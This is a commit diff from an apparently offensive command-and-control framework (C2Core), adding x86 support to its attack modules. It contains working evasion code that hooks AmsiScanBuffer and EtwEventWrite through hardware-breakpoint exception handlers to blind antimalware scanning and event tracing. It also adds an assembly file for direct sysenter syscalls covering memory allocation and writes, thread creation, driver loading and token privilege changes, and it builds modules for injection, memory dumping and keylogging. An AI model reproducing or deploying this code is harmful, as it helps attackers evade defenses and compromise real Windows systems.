admin/maxDcb-C2Core
1
0
Fork 0
mirror of https://github.com/maxDcb/C2Core synced 2026-06-08 15:48:01 +00:00
Code Issues Packages Projects Releases Wiki Activity

x86

Browse Source
This commit is contained in:
Maxime dcb
2025-12-06 22:05:16 +01:00
parent 09870b3326
commit d2eb5fb047
10 changed files with 259 additions and 15 deletions
Download Patch File Download Diff File Expand all files Collapse all files
modules/AssemblyExec/AssemblyExec.cpp
+14 -1
View File
@@ -435,13 +435,26 @@ LONG WINAPI handlerRtlExitUserProcess(EXCEPTION_POINTERS * ExceptionInfo)
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"ntdll.dll", TRUE, NULL), (PCHAR)"RtlExitUserProcess", 0);
#ifdef _WIN64
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
{
// continue the execution
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution
//ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
ExceptionInfo->ContextRecord->Rip = (DWORD64)GetProcAddress(GetModuleHandle("Kernel32.dll"), "ExitThread");
}
}
#else // ===================== X86 =======================
if (ExceptionInfo->ContextRecord->Eip == (DWORD)baseAddress)
{
// Set Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
// Redirect execution to ExitThread
ExceptionInfo->ContextRecord->Eip =
(DWORD)GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitThread");
}
#endif
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
modules/AssemblyExec/CMakeLists.txt
+36 -2
View File
@@ -1,7 +1,23 @@
include_directories(../)
if(WIN32)
add_library(AssemblyExec SHARED AssemblyExec.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ../ModuleCmd/peb.cpp ../ModuleCmd/hwbp.cpp)
if (CMAKE_SIZEOF_VOID_P EQUAL 8) # 64-bit
add_library(AssemblyExec SHARED
AssemblyExec.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x64.obj
../ModuleCmd/peb.cpp
../ModuleCmd/hwbp.cpp
)
else() # 32-bit (x86)
add_library(AssemblyExec SHARED
AssemblyExec.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x86.obj
../ModuleCmd/peb.cpp
../ModuleCmd/hwbp.cpp
)
endif()
else()
add_library(AssemblyExec SHARED AssemblyExec.cpp)
endif()
@@ -15,7 +31,25 @@ $<TARGET_FILE:AssemblyExec> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_N
if(C2CORE_BUILD_TESTS)
if(WIN32)
add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj ../ModuleCmd/peb.cpp ../ModuleCmd/hwbp.cpp)
if (CMAKE_SIZEOF_VOID_P EQUAL 8) # 64-bit
add_executable(testsAssemblyExec
tests/testsAssemblyExec.cpp
AssemblyExec.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x64.obj
../ModuleCmd/peb.cpp
../ModuleCmd/hwbp.cpp
)
else() # 32-bit
add_executable(testsAssemblyExec
tests/testsAssemblyExec.cpp
AssemblyExec.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x86.obj
../ModuleCmd/peb.cpp
../ModuleCmd/hwbp.cpp
)
endif()
target_link_libraries(testsAssemblyExec PRIVATE Donut )
add_executable(testOutputWriter tests/testOutputWriter.cpp)
modules/CMakeLists.txt
+4 -2
View File
@@ -31,8 +31,10 @@ add_subdirectory(KillProcess)
add_subdirectory(KeyLogger)
add_subdirectory(ScreenShot)
add_subdirectory(MiniDump)
add_subdirectory(DotnetExec)
add_subdirectory(PwSh)
if (CMAKE_SIZEOF_VOID_P EQUAL 8) # x64, need some calling convention fixing
add_subdirectory(DotnetExec)
add_subdirectory(PwSh)
endif()
add_subdirectory(Shell)
add_subdirectory(Registry)
modules/Evasion/Evasion.cpp
+38 -4
View File
@@ -530,7 +530,7 @@ LONG WINAPI handlerETW(EXCEPTION_POINTERS * ExceptionInfo)
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite");
#ifdef _WIN64
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
{
printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
@@ -545,7 +545,33 @@ LONG WINAPI handlerETW(EXCEPTION_POINTERS * ExceptionInfo)
// continue the execution
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution
//ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
}
}
#else // ===================== X86 =======================
if (ExceptionInfo->ContextRecord->Eip == (DWORD)baseAddress)
{
printf("[!] Exception (%#lx)! Params:\n",
(unsigned long)ExceptionInfo->ExceptionRecord->ExceptionAddress);
DWORD esp = ExceptionInfo->ContextRecord->Esp;
// 32-bit stdcall: args are on the stack
DWORD param1 = *(DWORD*)(esp + 4);
DWORD param2 = *(DWORD*)(esp + 8);
DWORD param3 = *(DWORD*)(esp + 12);
DWORD param4 = *(DWORD*)(esp + 16);
printf("(1): %#lx | ", param1);
printf("(2): %#lx | ", param2);
printf("(3): %#lx | ", param3);
printf("(4): %#lx | ", param4);
printf("ESP = %#lx\n", (unsigned long)esp);
printf("EtwEventWrite called!\n");
// Continue execution
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}
#endif
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
@@ -746,6 +772,7 @@ LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo)
{
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");
#ifdef _WIN64
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
{
// printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress);
@@ -760,7 +787,14 @@ LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo)
// continue the execution
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution
//ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
}
}
#else // =========================== X86 ============================
if (ExceptionInfo->ContextRecord->Eip == (DWORD64) baseAddress)
{
// continue the execution
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution
}
#endif
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
@@ -987,7 +1021,7 @@ int Evasion::readMemory(std::string& result, const std::string& hexAddress, cons
{
void* address = hexStringToPointer(hexAddress);
MEMORY_BASIC_INFORMATION mbi;
size_t bytesRead = 0;
SIZE_T bytesRead = 0;
if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi))
{
modules/Inject/CMakeLists.txt
+11 -2
View File
@@ -1,7 +1,16 @@
include_directories(../)
if(WIN32)
add_library(Inject SHARED Inject.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
set(SYSCALL_OBJ "../ModuleCmd/syscall.x86.obj")
if (CMAKE_SIZEOF_VOID_P EQUAL 8)
set(SYSCALL_OBJ "../ModuleCmd/syscall.x64.obj")
endif()
add_library(Inject SHARED
Inject.cpp
../ModuleCmd/syscall.cpp
${SYSCALL_OBJ}
)
else()
add_library(Inject SHARED Inject.cpp)
endif()
@@ -15,7 +24,7 @@ $<TARGET_FILE:Inject> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:In
if(C2CORE_BUILD_TESTS)
if(WIN32)
add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
add_executable(testsInject tests/testsInject.cpp Inject.cpp ../ModuleCmd/syscall.cpp ${SYSCALL_OBJ})
target_link_libraries(testsInject PRIVATE Donut )
else()
add_executable(testsInject tests/testsInject.cpp Inject.cpp)
modules/MiniDump/CMakeLists.txt
+28 -2
View File
@@ -1,7 +1,19 @@
include_directories(../)
if(WIN32)
add_library(MiniDump SHARED MiniDump.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
if (CMAKE_SIZEOF_VOID_P EQUAL 8) # 64-bit
add_library(MiniDump SHARED
MiniDump.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x64.obj
)
else() # 32-bit
add_library(MiniDump SHARED
MiniDump.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x86.obj
)
endif()
else()
add_library(MiniDump SHARED MiniDump.cpp)
endif()
@@ -16,7 +28,21 @@ $<TARGET_FILE:MiniDump> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:
if(C2CORE_BUILD_TESTS)
if(WIN32)
add_executable(testsMiniDump tests/testsMiniDump.cpp MiniDump.cpp ../ModuleCmd/syscall.cpp ../ModuleCmd/syscall.x64.obj)
if (CMAKE_SIZEOF_VOID_P EQUAL 8) # 64-bit
add_executable(testsMiniDump
tests/testsMiniDump.cpp
MiniDump.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x64.obj
)
else() # 32-bit
add_executable(testsMiniDump
tests/testsMiniDump.cpp
MiniDump.cpp
../ModuleCmd/syscall.cpp
../ModuleCmd/syscall.x86.obj
)
endif()
else()
add_executable(testsMiniDump tests/testsMiniDump.cpp MiniDump.cpp)
endif()
modules/ModuleCmd/README.md
+1
View File
@@ -6,4 +6,5 @@ First you need to compile syscall.x64.asm from a windows machine using:
```
ML64 /c syscall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
ml /c /coff /safeseh syscall.x86.asm /link /NODEFAULTLIB /RELEASE
```
modules/ModuleCmd/syscall.hpp
+6 -2
View File
@@ -470,9 +470,13 @@ class SyscallList
private:
PVOID getNtdllExportDirectory()
{
{
#ifdef _M_IX86
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
#else
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
#endif
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
m_dllBase = NULL;
modules/ModuleCmd/syscall.x86.asm
+121
View File
@@ -0,0 +1,121 @@
.686p ; p = privileged, allows sysenter
.model flat, c ; <-- C calling convention
option casemap:none
EXTERN getGlobalHash: PROC
EXTERN SW3_GetSyscallNumber: PROC
EXTERN SW3_GetSyscallAddress: PROC
.code
Sw3NtAllocateVirtualMemory PROC
jmp pipo
Sw3NtAllocateVirtualMemory ENDP
Sw3NtWaitForSingleObject PROC
jmp pipo
Sw3NtWaitForSingleObject ENDP
Sw3NtCreateThreadEx PROC
jmp pipo
Sw3NtCreateThreadEx ENDP
Sw3NtClose PROC
jmp pipo
Sw3NtClose ENDP
Sw3NtWriteVirtualMemory PROC
jmp pipo
Sw3NtWriteVirtualMemory ENDP
Sw3NtProtectVirtualMemory PROC
jmp pipo
Sw3NtProtectVirtualMemory ENDP
Sw3NtOpenProcess PROC
jmp pipo
Sw3NtOpenProcess ENDP
Sw3NtCreateProcess PROC
jmp pipo
Sw3NtCreateProcess ENDP
Sw3NtQueueApcThread PROC
jmp pipo
Sw3NtQueueApcThread ENDP
Sw3NtResumeThread PROC
jmp pipo
Sw3NtResumeThread ENDP
Sw3NtOpenProcessToken PROC
jmp pipo
Sw3NtOpenProcessToken ENDP
Sw3NtAdjustPrivilegesToken PROC
jmp pipo
Sw3NtAdjustPrivilegesToken ENDP
Sw3NtQueryVirtualMemory PROC
jmp pipo
Sw3NtQueryVirtualMemory ENDP
Sw3NtReadVirtualMemory PROC
jmp pipo
Sw3NtReadVirtualMemory ENDP
Sw3NtWriteFile PROC
jmp pipo
Sw3NtWriteFile ENDP
Sw3NtLoadDriver PROC
jmp pipo
Sw3NtLoadDriver ENDP
Sw3NtDeviceIoControlFile PROC
jmp pipo
Sw3NtDeviceIoControlFile ENDP
Sw3NtCreateKey PROC
jmp pipo
Sw3NtCreateKey ENDP
Sw3NtSetValueKey PROC
jmp pipo
Sw3NtSetValueKey ENDP
Sw3NtCreateFile PROC
jmp pipo
Sw3NtCreateFile ENDP
pipo PROC
push ebp
mov ebp, esp
call getGlobalHash
push eax
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 08h
push_argument_hash:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument_hash
mov ecx, eax
mov eax, ecx
push ret_address_epilog_hash
call do_sysenter_interrupt_hash
lea esp, [esp+4]
ret_address_epilog_hash:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt_hash:
mov edx, esp
sysenter
ret
pipo ENDP
end
modules/ModuleCmd/syscall.x86.obj
BIN
View File
Binary file not shown.